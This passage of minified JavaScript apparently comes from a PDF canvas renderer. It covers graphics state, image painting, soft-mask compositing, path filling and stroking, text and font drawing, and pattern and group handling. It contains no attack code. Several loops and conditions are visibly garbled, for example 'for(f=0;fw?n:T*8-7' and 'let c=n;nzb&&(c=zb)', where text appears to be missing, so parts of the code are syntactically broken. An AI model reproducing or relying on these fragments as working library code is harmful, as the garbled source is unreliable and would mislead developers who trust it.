y=Math.hypot(c,d),E=Math.hypot(f,p);return[y*l,E*u]}class Xb{constructor(e,t){M(this,"alphaIsShape",!1);M(this,"fontSize",0);M(this,"fontSizeScale",1);M(this,"textMatrix",null);M(this,"textMatrixScale",1);M(this,"fontMatrix",Hv);M(this,"leading",0);M(this,"x",0);M(this,"y",0);M(this,"lineX",0);M(this,"lineY",0);M(this,"charSpacing",0);M(this,"wordSpacing",0);M(this,"textHScale",1);M(this,"textRenderingMode",xe.FILL);M(this,"textRise",0);M(this,"fillColor","#000000");M(this,"strokeColor","#000000");M(this,"tilingPatternDims",null);M(this,"patternFill",!1);M(this,"patternStroke",!1);M(this,"fillAlpha",1);M(this,"strokeAlpha",1);M(this,"lineWidth",1);M(this,"activeSMask",null);M(this,"transferMaps","none");M(this,"minMax",So.slice());this.clipBox=new Float32Array([0,0,e,t])}clone(){var t;const e=Object.create(this);return e.clipBox=this.clipBox.slice(),e.minMax=this.minMax.slice(),e.tilingPatternDims=(t=this.tilingPatternDims)==null?void 0:t.slice(),e}getPathBoundingBox(e=ze.FILL,t=null){const n=this.minMax.slice();if(e===ze.STROKE){t||Ot("Stroke bounding box must include transform."),_.singularValueDecompose2dScale(t,Yn);const r=Yn[0]*this.lineWidth/2,i=Yn[1]*this.lineWidth/2;n[0]-=r,n[1]-=i,n[2]+=r,n[3]+=i}return n}updateClipFromPath(){const e=_.intersect(this.clipBox,this.getPathBoundingBox());this.startNewPathAndClipBox(e||[0,0,0,0])}isEmptyClip(){return this.minMax[0]===1/0}startNewPathAndClipBox(e){this.clipBox.set(e,0),this.minMax.set(So,0)}getClippedPathBoundingBox(e=ze.FILL,t=null){return _.intersect(this.clipBox,this.getPathBoundingBox(e,t))}}function _b(h,e){if(e instanceof ImageData){h.putImageData(e,0,0);return}const t=e.height,n=e.width,r=t%Cn,i=(t-r)/Cn,s=r===0?i:i+1,o=h.createImageData(n,Cn);let l=0,u;const c=e.data,d=o.data;let f,p,m,v;if(e.kind===wg.GRAYSCALE_1BPP){const y=c.byteLength,E=new Uint32Array(d.buffer,0,d.byteLength>>2),S=E.length,w=n+7>>3,C=4294967295,x=be.isLittleEndian?4278190080:255;for(f=0;fw?n:T*8-7,P=F&-8;let R=0,D=0;for(;I>=1}for(;u=i&&(m=r,v=n*m),u=0,p=v;p--;)d[u++]=c[l++],d[u++]=c[l++],d[u++]=c[l++],d[u++]=255;h.putImageData(o,0,f*Cn)}else throw new Error(`bad image kind: ${e.kind}`)}function Yb(h,e){if(e.bitmap){h.drawImage(e.bitmap,0,0);return}const t=e.height,n=e.width,r=t%Cn,i=(t-r)/Cn,s=r===0?i:i+1,o=h.createImageData(n,Cn);let l=0;const u=e.data,c=o.data;for(let d=0;dGb&&typeof n=="function",d=c?Date.now()+OS:0;let f=0;const p=this.commonObjs,m=this.objs;let v,y;for(;;){if(r!==void 0){if(l===r.nextBreakPoint)return r.breakIt(l,n),l;if(r.shouldSkip(l)){if(++l===u)return l;continue}}if(!i||i(l))if(v=o[l],y=s[l]??null,v!==Mi.dependency)y===null?this[v](l):this[v](l,...y);else for(const S of y){(E=this.dependencyTracker)==null||E.recordNamedData(S,l);const w=S.startsWith("g_")?p:m;if(!w.has(S))return w.get(S,n),l}if(l++,l===u)return l;if(c&&++f>Gb){if(Date.now()>d)return n(),l;f=0}}}endDrawing(){A(this,Wr,Ay).call(this);for(const e of this.smaskGroupCanvases)this.canvasFactory.destroy(e);this.smaskGroupCanvases.length=0,this._clearPreparedSMask(),this.tempSMask=null,this.smaskStack.length=0,this.cachedPatterns.clear();for(const e of this._cachedBitmapsMap.values()){for(const t of e.values())typeof HTMLCanvasElement<"u"&&t instanceof HTMLCanvasElement&&(t.width=t.height=0);e.clear()}this._cachedBitmapsMap.clear(),A(this,Wr,Ey).call(this)}_scaleImage(e,t){const n=e.width??e.displayWidth,r=e.height??e.displayHeight,i=Math.max(Math.hypot(t[0],t[1]),1),s=Math.max(Math.hypot(t[2],t[3]),1),o=[];let l=i,u=s,c=n,d=r;for(;l>2&&c>1||u>2&&d>1;){let E=c,S=d;l>2&&c>1&&(E=Math.ceil(c/2),l/=c/E),u>2&&d>1&&(S=Math.ceil(d/2),u/=d/S),o.push({newWidth:E,newHeight:S}),c=E,d=S}if(o.length===0)return{img:e,paintWidth:n,paintHeight:r,tmpCanvas:null};if(o.length===1){const{newWidth:E,newHeight:S}=o[0],w=this.canvasFactory.create(E,S);return w.context.drawImage(e,0,0,n,r,0,0,E,S),{img:w.canvas,paintWidth:E,paintHeight:S,tmpCanvas:w}}let f=this.canvasFactory.create(1,1),p=this.canvasFactory.create(1,1),m=n,v=r,y=e;for(const{newWidth:E,newHeight:S}of o)this.canvasFactory.reset(p,E,S),p.context.drawImage(y,0,0,m,v,0,0,E,S),[f,p]=[p,f],y=f.canvas,m=E,v=S;return this.canvasFactory.destroy(p),{img:f.canvas,paintWidth:m,paintHeight:v,tmpCanvas:f}}_createMaskCanvas(e,t){var D,k;const n=this.ctx,{width:r,height:i}=t,s=this.current.fillColor,o=this.current.patternFill,l=Yt(n);let u,c,d,f;if((t.bitmap||t.data)&&t.count>1){const N=t.bitmap||t.data.buffer;c=JSON.stringify(o?l:[l.slice(0,4),s]),u=this._cachedBitmapsMap.getOrInsertComputed(N,nb);const H=u.get(c);if(H&&!o){const X=Math.round(Math.min(l[0],l[2])+l[4]),j=Math.round(Math.min(l[1],l[3])+l[5]);return(D=this.dependencyTracker)==null||D.recordDependencies(e,tr.transformAndFill),{canvas:H,offsetX:X,offsetY:j}}d=H}d||(f=this.canvasFactory.create(r,i),Yb(f.context,t));let p=_.transform(l,[1/r,0,0,-1/i,0,0]);p=_.transform(p,[1,0,0,1,0,-i]);const m=So.slice();_.axialAlignedBoundingBox([0,0,r,i],p,m);const[v,y,E,S]=m,w=Math.round(E-v)||1,C=Math.round(S-y)||1,x=this.canvasFactory.create(w,C),T=x.context,I=v,F=y;T.translate(-I,-F),T.transform(...p);let P=null;if(!d){const N=this._scaleImage(f.canvas,zr(T));d=N.img,P=N.tmpCanvas,d!==f.canvas&&(this.canvasFactory.destroy(f),f=null),u&&o&&(u.set(c,d),P=null,f=null)}T.imageSmoothingEnabled=Kb(Yt(T),t.interpolate),cg(T,d,0,0,d.width,d.height,0,0,r,i),P&&this.canvasFactory.destroy(P),f&&this.canvasFactory.destroy(f),T.globalCompositeOperation="source-in";const R=_.transform(zr(T),[1,0,0,1,-I,-F]);return T.fillStyle=o?s.getPattern(n,this,R,ze.FILL,e):s,T.fillRect(0,0,r,i),u&&!o&&u.set(c,x.canvas),(k=this.dependencyTracker)==null||k.recordDependencies(e,tr.transformAndFill),{canvas:x.canvas,canvasEntry:u&&!o?null:x,offsetX:Math.round(I),offsetY:Math.round(F)}}setLineWidth(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("lineWidth",e),t!==this.current.lineWidth&&(this._cachedScaleForStroking[0]=-1),this.current.lineWidth=t,this.ctx.lineWidth=t}setLineCap(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("lineCap",e),this.ctx.lineCap=LS[t]}setLineJoin(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("lineJoin",e),this.ctx.lineJoin=NS[t]}setMiterLimit(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("miterLimit",e),this.ctx.miterLimit=t}setDash(e,t,n){var i;(i=this.dependencyTracker)==null||i.recordSimpleData("dash",e);const r=this.ctx;r.setLineDash!==void 0&&(r.setLineDash(t),r.lineDashOffset=n)}setRenderingIntent(e,t){}setFlatness(e,t){}setGState(e,t){var n,r,i,s,o;for(const[l,u]of t)switch(l){case"LW":this.setLineWidth(e,u);break;case"LC":this.setLineCap(e,u);break;case"LJ":this.setLineJoin(e,u);break;case"ML":this.setMiterLimit(e,u);break;case"D":this.setDash(e,u[0],u[1]);break;case"RI":this.setRenderingIntent(e,u);break;case"FL":this.setFlatness(e,u);break;case"Font":this.setFont(e,u[0],u[1]);break;case"CA":(n=this.dependencyTracker)==null||n.recordSimpleData("strokeAlpha",e),this.current.strokeAlpha=u;break;case"ca":(r=this.dependencyTracker)==null||r.recordSimpleData("fillAlpha",e),this.ctx.globalAlpha=this.current.fillAlpha=u;break;case"BM":(i=this.dependencyTracker)==null||i.recordSimpleData("globalCompositeOperation",e),this.ctx.globalCompositeOperation=u;break;case"SMask":(s=this.dependencyTracker)==null||s.recordSimpleData("SMask",e),this.current.activeSMask=u?this.tempSMask:null,this.current.activeSMask&&(this.current.activeSMask.blendMode=this.ctx.globalCompositeOperation),this.tempSMask=null,this.checkSMaskState(e);break;case"TR":(o=this.dependencyTracker)==null||o.recordSimpleData("filter",e),this.ctx.filter=this.current.transferMaps=this.filterFactory.addFilter(u);break}}get inSMaskMode(){return!!this.suspendedCtx}_clearPreparedSMask(){this.smaskPreparedEntry&&(this.canvasFactory.destroy(this.smaskPreparedEntry),this.smaskPreparedEntry=null),this.smaskPreparedFor=null,this.smaskPreparedOffsetX=0,this.smaskPreparedOffsetY=0}_ensurePreparedSMask(e,t,n){e!==this.smaskPreparedFor&&(this._clearPreparedSMask(),this._prepareSMaskCanvas(e,t,n))}checkSMaskState(e){const t=this.inSMaskMode;this.current.activeSMask&&!t?this.beginSMaskMode(e):!this.current.activeSMask&&t?this.endSMaskMode():this.current.activeSMask&&t&&this._ensurePreparedSMask(this.current.activeSMask,this.ctx.canvas.width,this.ctx.canvas.height)}_prepareSMaskCanvas(e,t,n){const{canvas:r,subtype:i,backdrop:s,transferMap:o}=e,l=i==="Luminosity"||i==="Alpha"&&o;if(!s&&!l){this.smaskPreparedFor=e;return}let u,c,d;if(s&&l){const f=this.canvasFactory.create(t,n),p=f.context;p.drawImage(r,e.offsetX,e.offsetY),p.globalCompositeOperation="destination-atop",p.fillStyle=s,p.fillRect(0,0,t,n),p.globalCompositeOperation="source-over",u=this.canvasFactory.create(t,n);const m=u.context;m.filter=i==="Alpha"?this.filterFactory.addAlphaFilter(o):this.filterFactory.addLuminosityFilter(o),m.drawImage(f.canvas,0,0),m.filter="none",this.canvasFactory.destroy(f),c=d=0}else if(l){u=this.canvasFactory.create(r.width,r.height);const f=u.context;f.filter=i==="Alpha"?this.filterFactory.addAlphaFilter(o):this.filterFactory.addLuminosityFilter(o),f.drawImage(r,0,0),f.filter="none",{offsetX:c,offsetY:d}=e}else{u=this.canvasFactory.create(t,n);const f=u.context;f.drawImage(r,e.offsetX,e.offsetY),f.globalCompositeOperation="destination-atop",f.fillStyle=s,f.fillRect(0,0,t,n),f.globalCompositeOperation="source-over",c=d=0}this.smaskPreparedEntry=u,this.smaskPreparedFor=e,this.smaskPreparedOffsetX=c,this.smaskPreparedOffsetY=d}beginSMaskMode(e){if(this.inSMaskMode)throw new Error("beginSMaskMode called while already in smask mode");const{width:t,height:n}=this.ctx.canvas,r=this.canvasFactory.create(t,n);this.smaskScratchCanvas=r,this.suspendedCtx=this.ctx;const i=this.ctx=r.context;i.setTransform(this.suspendedCtx.getTransform()),kc(this.suspendedCtx,i),MS(i,this.suspendedCtx),this._ensurePreparedSMask(this.current.activeSMask,t,n),this.setGState(e,[["BM","source-over"]])}endSMaskMode(){if(!this.inSMaskMode)throw new Error("endSMaskMode called while not in smask mode");this.ctx._removeMirroring(),kc(this.ctx,this.suspendedCtx),this.ctx=this.suspendedCtx,this.suspendedCtx=null,this.canvasFactory.destroy(this.smaskScratchCanvas),this.smaskScratchCanvas=null,this._clearPreparedSMask()}compose(e){if(!this.current.activeSMask)return;e?(e[0]=Math.floor(e[0]),e[1]=Math.floor(e[1]),e[2]=Math.ceil(e[2]),e[3]=Math.ceil(e[3])):e=[0,0,this.ctx.canvas.width,this.ctx.canvas.height];const t=this.current.activeSMask,n=this.suspendedCtx;this.composeSMask(n,t,this.ctx,e),this.ctx.save(),this.ctx.setTransform(1,0,0,1,0,0),this.ctx.clearRect(e[0],e[1],e[2]-e[0],e[3]-e[1]),this.ctx.restore()}composeSMask(e,t,n,r){const i=r[0],s=r[1],o=r[2]-i,l=r[3]-s;if(o===0||l===0)return;const u=this.smaskPreparedEntry;if(u){const c=i-this.smaskPreparedOffsetX,d=s-this.smaskPreparedOffsetY;n.save(),n.globalAlpha=1,n.setTransform(1,0,0,1,0,0);const f=new Path2D;f.rect(i,s,o,l),n.clip(f),n.globalCompositeOperation="destination-in",n.drawImage(u.canvas,c,d,o,l,i,s,o,l),n.restore()}else this.genericComposeSMask(t.context,n,o,l,i,s,t.offsetX,t.offsetY);e.save(),e.globalAlpha=1,e.globalCompositeOperation=t.blendMode||"source-over",e.setTransform(1,0,0,1,0,0),e.drawImage(n.canvas,i,s,o,l,i,s,o,l),e.restore()}genericComposeSMask(e,t,n,r,i,s,o,l){const u=e.canvas,c=i-o,d=s-l;t.save(),t.globalAlpha=1,t.setTransform(1,0,0,1,0,0);const f=new Path2D;f.rect(i,s,n,r),t.clip(f),t.globalCompositeOperation="destination-in",t.drawImage(u,c,d,n,r,i,s,n,r),t.restore()}save(e){var n;this.inSMaskMode&&kc(this.ctx,this.suspendedCtx),this.ctx.save();const t=this.current;this.stateStack.push(t),this.current=t.clone(),(n=this.dependencyTracker)==null||n.save(e)}restore(e){var t;if((t=this.dependencyTracker)==null||t.restore(e),this.stateStack.length===0){this.inSMaskMode&&this.endSMaskMode();return}this.current=this.stateStack.pop(),this.ctx.restore(),this.inSMaskMode&&(kc(this.suspendedCtx,this.ctx),this.ctx.setTransform(this.suspendedCtx.getTransform())),this.checkSMaskState(e),this.pendingClip=null,this._cachedScaleForStroking[0]=-1,this._cachedGetSinglePixelWidth=null}transform(e,t,n,r,i,s,o){var l;(l=this.dependencyTracker)==null||l.recordIncrementalData("transform",e),this.ctx.transform(t,n,r,i,s,o),this._cachedScaleForStroking[0]=-1,this._cachedGetSinglePixelWidth=null}constructPath(e,t,n,r){let[i]=n;if(!r){i||(i=n[0]=new Path2D),t!==Mi.stroke&&t!==Mi.closeStroke&&(this.current.tilingPatternDims=null),this[t](e,i);return}if(this.dependencyTracker!==null){const o=t===Mi.stroke?this.current.lineWidth/2:0;this.dependencyTracker.resetBBox(e).recordBBox(e,this.ctx,r[0]-o,r[2]+o,r[1]-o,r[3]+o).recordDependencies(e,["transform"])}i instanceof Path2D||(i=n[0]=K1(i)),_.axialAlignedBoundingBox(r,Yt(this.ctx),this.current.minMax);const s=this.current.tilingPatternDims;if(s&&t!==Mi.stroke&&t!==Mi.closeStroke&&this.current.fillColor instanceof yd){const o=_.intersect(this.current.clipBox,this.current.minMax);o?this.current.fillColor.updatePatternDims(o,s):this.current.tilingPatternDims=null}this[t](e,i),this._pathStartIdx=e}closePath(e){this.ctx.closePath()}stroke(e,t,n=!0){var s;const r=this.ctx,i=this.current.strokeColor;if(r.globalAlpha=this.current.strokeAlpha,this.contentVisible)if(typeof i=="object"&&(i!=null&&i.getPattern)){const o=i.isModifyingCurrentTransform()?r.getTransform():null;if(r.save(),r.strokeStyle=i.getPattern(r,this,zr(r),ze.STROKE,e),o){const l=new Path2D;l.addPath(t,r.getTransform().invertSelf().multiplySelf(o)),t=l}this.rescaleAndStroke(t,!1),r.restore()}else this.rescaleAndStroke(t,!0);(s=this.dependencyTracker)==null||s.recordDependencies(e,tr.stroke),n&&this.consumePath(e,t,this.current.getClippedPathBoundingBox(ze.STROKE,Yt(this.ctx))),r.globalAlpha=this.current.fillAlpha}closeStroke(e,t){this.stroke(e,t)}fill(e,t,n=!0){var u,c,d;const r=this.ctx,i=this.current.fillColor,s=this.current.patternFill;let o=!1;const l=this.current.getClippedPathBoundingBox();if((u=this.dependencyTracker)==null||u.recordDependencies(e,tr.fill),s){const f=this.current.tilingPatternDims,p=f&&i.canSkipPatternCanvas(f);if(p){i.drawPattern(this,t,this.pendingEOFill,p,e),this.pendingEOFill=!1,n&&this.consumePath(e,t,l),this.current.tilingPatternDims=null;return}const m=i.isModifyingCurrentTransform()?r.getTransform():null;if((c=this.dependencyTracker)==null||c.save(e),r.save(),r.fillStyle=i.getPattern(r,this,zr(r),ze.FILL,e),m){const v=new Path2D;v.addPath(t,r.getTransform().invertSelf().multiplySelf(m)),t=v}o=!0}this.contentVisible&&l!==null&&(this.pendingEOFill?(r.fill(t,"evenodd"),this.pendingEOFill=!1):r.fill(t)),o&&(r.restore(),(d=this.dependencyTracker)==null||d.restore(e)),n&&this.consumePath(e,t,l)}eoFill(e,t){this.pendingEOFill=!0,this.fill(e,t)}fillStroke(e,t){this.fill(e,t,!1),this.stroke(e,t,!1),this.consumePath(e,t)}eoFillStroke(e,t){this.pendingEOFill=!0,this.fillStroke(e,t)}closeFillStroke(e,t){this.fillStroke(e,t)}closeEOFillStroke(e,t){this.pendingEOFill=!0,this.fillStroke(e,t)}endPath(e,t){this.consumePath(e,t)}rawFillPath(e,t){var n;this.ctx.fill(t),(n=this.dependencyTracker)==null||n.recordDependencies(e,tr.rawFillPath).recordOperation(e)}clip(e){var t;(t=this.dependencyTracker)==null||t.recordFutureForcedDependency("clipMode",e),this.pendingClip=BS}eoClip(e){var t;(t=this.dependencyTracker)==null||t.recordFutureForcedDependency("clipMode",e),this.pendingClip=Jb}beginText(e){var t;this.current.textMatrix=null,this.current.textMatrixScale=1,this.current.x=this.current.lineX=0,this.current.y=this.current.lineY=0,(t=this.dependencyTracker)==null||t.recordOpenMarker(e).resetIncrementalData("sameLineText").resetIncrementalData("moveText",e)}endText(e){const t=this.pendingTextPaths,n=this.ctx;if(this.dependencyTracker){const{dependencyTracker:r}=this;t!==void 0&&r.recordFutureForcedDependency("textClip",r.getOpenMarker()).recordFutureForcedDependency("textClip",e),r.recordCloseMarker(e)}if(t!==void 0){const r=new Path2D,i=n.getTransform().invertSelf();for(const{transform:s,x:o,y:l,fontSize:u,path:c}of t)c&&r.addPath(c,new DOMMatrix(s).preMultiplySelf(i).translate(o,l).scale(u,-u));n.clip(r)}delete this.pendingTextPaths}setCharSpacing(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("charSpacing",e),this.current.charSpacing=t}setWordSpacing(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("wordSpacing",e),this.current.wordSpacing=t}setHScale(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("hScale",e),this.current.textHScale=t/100}setLeading(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("leading",e),this.current.leading=-t}setFont(e,t,n){var d,f;(d=this.dependencyTracker)==null||d.recordSimpleData("font",e).recordSimpleDataFromNamed("fontObj",t,e);const r=this.commonObjs.get(t),i=this.current;if(!r)throw new Error(`Can't find font for ${t}`);if(i.fontMatrix=r.fontMatrix||Hv,(i.fontMatrix[0]===0||i.fontMatrix[3]===0)&&ht("Invalid font matrix for font "+t),n<0?(n=-n,i.fontDirection=-1):i.fontDirection=1,this.current.font=r,this.current.fontSize=n,r.isType3Font)return;const s=r.loadedName||"sans-serif",o=((f=r.systemFontInfo)==null?void 0:f.css)||`"${s}", ${r.fallbackName}`;let l="normal";r.black?l="900":r.bold&&(l="bold");const u=r.italic?"italic":"normal";let c=n;nzb&&(c=zb),this.current.fontSizeScale=n/c,this.ctx.font=`${u} ${l} ${c}px ${o}`}setTextRenderingMode(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("textRenderingMode",e),this.current.textRenderingMode=t}setTextRise(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("textRise",e),this.current.textRise=t}moveText(e,t,n){var r;(r=this.dependencyTracker)==null||r.resetIncrementalData("sameLineText").recordIncrementalData("moveText",e),this.current.x=this.current.lineX+=t,this.current.y=this.current.lineY+=n}setLeadingMoveText(e,t,n){this.setLeading(e,-n),this.moveText(e,t,n)}setTextMatrix(e,t){var r;(r=this.dependencyTracker)==null||r.resetIncrementalData("sameLineText").recordSimpleData("textMatrix",e);const{current:n}=this;n.textMatrix=t,n.textMatrixScale=Math.hypot(t[0],t[1]),n.x=n.lineX=0,n.y=n.lineY=0}nextLine(e){var t;this.moveText(e,0,this.current.leading),(t=this.dependencyTracker)==null||t.recordIncrementalData("moveText",this.dependencyTracker.getSimpleIndex("leading")??e)}paintChar(e,t,n,r,i,s){var E,S,w,C;const o=this.ctx,l=this.current,u=l.font,c=l.textRenderingMode,d=l.fontSize/l.fontSizeScale,f=c&xe.FILL_STROKE_MASK,p=!!(c&xe.ADD_TO_PATH_FLAG),m=l.patternFill&&!u.missingFile,v=l.patternStroke&&!u.missingFile;let y;if((u.disableFontFace||p||m||v)&&!u.missingFile&&(y=u.getPathGenerator(this.commonObjs,t)),y&&(u.disableFontFace||m||v)){o.save(),o.translate(n,r),o.scale(d,-d),(E=this.dependencyTracker)==null||E.recordCharacterBBox(e,o,u);let x;if(f===xe.FILL||f===xe.FILL_STROKE)if(i){x=o.getTransform(),o.setTransform(...i);const T=A(this,Wr,wy).call(this,y,x,i);o.fill(T)}else o.fill(y);if(f===xe.STROKE||f===xe.FILL_STROKE)if(s){x||(x=o.getTransform()),o.setTransform(...s);const{a:T,b:I,c:F,d:P}=x,R=_.inverseTransform(s),D=_.transform([T,I,F,P,0,0],R);_.singularValueDecompose2dScale(D,Yn),o.lineWidth*=Math.max(Yn[0],Yn[1])/d,o.stroke(A(this,Wr,wy).call(this,y,x,s))}else o.lineWidth/=d,o.stroke(y);o.restore()}else(f===xe.FILL||f===xe.FILL_STROKE)&&(o.fillText(t,n,r),(S=this.dependencyTracker)==null||S.recordCharacterBBox(e,o,u,d,n,r,()=>o.measureText(t))),(f===xe.STROKE||f===xe.FILL_STROKE)&&(this.dependencyTracker&&((w=this.dependencyTracker)==null||w.recordCharacterBBox(e,o,u,d,n,r,()=>o.measureText(t)).recordDependencies(e,tr.stroke)),o.strokeText(t,n,r));p&&((this.pendingTextPaths||(this.pendingTextPaths=[])).push({transform:Yt(o),x:n,y:r,fontSize:d,path:y}),(C=this.dependencyTracker)==null||C.recordCharacterBBox(e,o,u,d,n,r))}get isFontSubpixelAAEnabled(){const e=this.canvasFactory.create(10,10),t=e.context;t.scale(1.5,1),t.fillText("I",0,10);const n=t.getImageData(0,0,10,10).data;this.canvasFactory.destroy(e);let r=!1;for(let i=3;i0&&n[i]<255){r=!0;break}return dt(this,"isFontSubpixelAAEnabled",r)}showText(e,t){var D,k,N,H;this.dependencyTracker&&(this.dependencyTracker.recordDependencies(e,tr.showText).resetBBox(e),this.current.textRenderingMode&xe.ADD_TO_PATH_FLAG&&this.dependencyTracker.recordFutureForcedDependency("textClip",e).inheritPendingDependenciesAsFutureForcedDependencies());const n=this.current,r=n.font;if(r.isType3Font){this.showType3Text(e,t),(D=this.dependencyTracker)==null||D.recordShowTextOperation(e);return}const i=n.fontSize;if(i===0){(k=this.dependencyTracker)==null||k.recordOperation(e);return}const s=this.ctx,o=n.fontSizeScale,l=n.charSpacing,u=n.wordSpacing,c=n.fontDirection,d=n.textHScale*c,f=t.length,p=r.vertical,m=p?1:-1,v=r.defaultVMetrics,y=i*n.fontMatrix[0],E=n.textRenderingMode===xe.FILL&&!r.disableFontFace&&!n.patternFill;s.save(),n.textMatrix&&s.transform(...n.textMatrix),s.translate(n.x,n.y+n.textRise),c>0?s.scale(d,-1):s.scale(d,1);let S,w;const C=n.textRenderingMode&xe.FILL_STROKE_MASK,x=C===xe.FILL||C===xe.FILL_STROKE,T=C===xe.STROKE||C===xe.FILL_STROKE;let I=n.lineWidth;const F=n.textMatrixScale;if(F===0||I===0?T&&(I=this.getSinglePixelWidth()):I/=F,o!==1&&(s.scale(o,o),I/=o),s.lineWidth=I,x&&n.patternFill){s.save();const X=n.fillColor.getPattern(s,this,zr(s),ze.FILL,e);S=Yt(s),s.restore(),s.fillStyle=X}if(T&&n.patternStroke){s.save();const X=n.strokeColor.getPattern(s,this,zr(s),ze.STROKE,e);w=Yt(s),s.restore(),s.strokeStyle=X}if(r.isInvalidPDFjsFont){const X=[];let j=0;for(const z of t)X.push(z.unicode),j+=z.width;const U=X.join("");if(s.fillText(U,0,0),this.dependencyTracker!==null){const z=s.measureText(U);this.dependencyTracker.recordBBox(e,this.ctx,-z.actualBoundingBoxLeft,z.actualBoundingBoxRight,-z.actualBoundingBoxAscent,z.actualBoundingBoxDescent).recordShowTextOperation(e)}n.x+=j*y*d,s.restore(),this.compose();return}let P=0,R;for(R=0;R0){K=s.measureText(z);const st=K.width*1e3/i*o;if(itK??s.measureText(z));else if(this.paintChar(e,z,nt,pt,S,w),G){const st=nt+i*G.offset.x/o,B=pt-i*G.offset.y/o;this.paintChar(e,G.fontChar,st,B,S,w)}}const lt=p?it*y-U*c:it*y+U*c;P+=lt,j&&s.restore()}p?n.y-=P:n.x+=P*d,s.restore(),this.compose(),(H=this.dependencyTracker)==null||H.recordShowTextOperation(e)}showType3Text(e,t){const n=this.ctx,r=this.current,i=r.font,s=r.fontSize,o=r.fontDirection,l=i.vertical?1:-1,u=r.charSpacing,c=r.wordSpacing,d=r.textHScale*o,f=r.fontMatrix||Hv,p=t.length,m=r.textRenderingMode===xe.INVISIBLE;let v,y,E,S;if(m||s===0)return;this._cachedScaleForStroking[0]=-1,this._cachedGetSinglePixelWidth=null,n.save(),r.textMatrix&&n.transform(...r.textMatrix),n.translate(r.x,r.y+r.textRise),n.scale(d,o);const w=this.dependencyTracker;for(this.dependencyTracker=w?new Pd(w,e):null,v=0;vnew bb(s,this.commonObjs,this.objs,this.canvasFactory,this.filterFactory,{optionalContentConfig:this.optionalContentConfig,markedContentStack:this.markedContentStack},void 0,void 0,this.dependencyTracker?new Pd(this.dependencyTracker,o,!0):null)};n=new yd(t,this.ctx,i,r)}else n=this._getPattern(e,t[1],t[2]);return n}setStrokeColorN(e,...t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("strokeColor",e),this.current.strokeColor=this.getColorN_Pattern(e,t),this.current.patternStroke=!0}setFillColorN(e,...t){var r;(r=this.dependencyTracker)==null||r.recordSimpleData("fillColor",e);const n=this.current.fillColor=this.getColorN_Pattern(e,t);this.current.patternFill=!0,this.current.tilingPatternDims=n instanceof yd?[0,0,0,0]:null}setStrokeRGBColor(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("strokeColor",e),this.ctx.strokeStyle=this.current.strokeColor=t,this.current.patternStroke=!1}setStrokeTransparent(e){var t;(t=this.dependencyTracker)==null||t.recordSimpleData("strokeColor",e),this.ctx.strokeStyle=this.current.strokeColor="transparent",this.current.patternStroke=!1}setFillRGBColor(e,t){var n;(n=this.dependencyTracker)==null||n.recordSimpleData("fillColor",e),this.ctx.fillStyle=this.current.fillColor=t,this.current.patternFill=!1,this.current.tilingPatternDims=null}setFillTransparent(e){var t;(t=this.dependencyTracker)==null||t.recordSimpleData("fillColor",e),this.ctx.fillStyle=this.current.fillColor="transparent",this.current.patternFill=!1,this.current.tilingPatternDims=null}_getPattern(e,t,n=null){let r;return this.cachedPatterns.has(t)?r=this.cachedPatterns.get(t):(r=FS(this.getObject(e,t)),this.cachedPatterns.set(t,r)),n&&(r.matrix=n),r}shadingFill(e,t){var s;if(!this.contentVisible)return;const n=this.ctx;this.save(e);const r=this._getPattern(e,t);n.fillStyle=r.getPattern(n,this,zr(n),ze.SHADING,e);const i=zr(n);if(i){const{width:o,height:l}=n.canvas,u=So.slice();_.axialAlignedBoundingBox([0,0,o,l],i,u);const[c,d,f,p]=u;this.ctx.fillRect(c,d,f-c,p-d)}else this.ctx.fillRect(-1e10,-1e10,2e10,2e10);(s=this.dependencyTracker)==null||s.resetBBox(e).recordFullPageBBox(e).recordDependencies(e,tr.transform).recordDependencies(e,tr.fill).recordOperation(e),this.compose(this.current.getClippedPathBoundingBox()),this.restore(e)}beginInlineImage(){Ot("Should not call beginInlineImage")}beginImageData(){Ot("Should not call beginImageData")}paintFormXObjectBegin(e,t,n){var r;if(this.contentVisible&&(this.save(e),this.baseTransformStack.push(this.baseTransform),t&&this.transform(e,...t),this.baseTransform=Yt(this.ctx),n)){_.axialAlignedBoundingBox(n,this.baseTransform,this.current.minMax);const[i,s,o,l]=n,u=new Path2D;u.rect(i,s,o-i,l-s),this.ctx.clip(u),(r=this.dependencyTracker)==null||r.recordClipBox(e,this.ctx,i,o,s,l),this.endPath(e)}}paintFormXObjectEnd(e){this.contentVisible&&(this.restore(e),this.baseTransform=this.baseTransformStack.pop())}beginGroup(e,t){var m;if(!this.contentVisible)return;this.save(e);const{inSMaskMode:n}=this;n&&(this.endSMaskMode(),this.current.activeSMask=null);const r=this.ctx;if(t.isolated||cv("TODO: Support non-isolated groups."),t.knockout&&ht("Knockout groups not supported."),!t.needsIsolation&&r.globalAlpha===1&&r.globalCompositeOperation==="source-over"&&!n){if(t.bbox){let v=new Path2D;const[y,E,S,w]=t.bbox;if(v.rect(y,E,S-y,w-E),t.matrix){const C=new Path2D;C.addPath(v,new DOMMatrix(t.matrix)),v=C}r.clip(v)}this.groupStack.push(null),this.groupLevel++;return}const i=Yt(r);t.matrix&&r.transform(...t.matrix);const s=[0,0,r.canvas.width,r.canvas.height];let o;t.bbox?(o=So.slice(),_.axialAlignedBoundingBox(t.bbox,Yt(r),o),o=_.intersect(o,s)||[0,0,0,0]):o=s;const l=Math.floor(o[0]),u=Math.floor(o[1]),c=Math.max(Math.ceil(o[2])-l,1),d=Math.max(Math.ceil(o[3])-u,1);this.current.startNewPathAndClipBox([0,0,c,d]);const f=this.canvasFactory.create(c,d);t.smask&&this.smaskGroupCanvases.push(f);const p=f.context;if(p.translate(-l,-u),p.transform(...i),!t.isolated&&!t.smask&&n&&t.needsIsolation&&(p.save(),p.setTransform(1,0,0,1,0,0),p.drawImage(r.canvas,-l,-u),p.restore()),t.bbox){let v=new Path2D;const[y,E,S,w]=t.bbox;if(v.rect(y,E,S-y,w-E),t.matrix){const 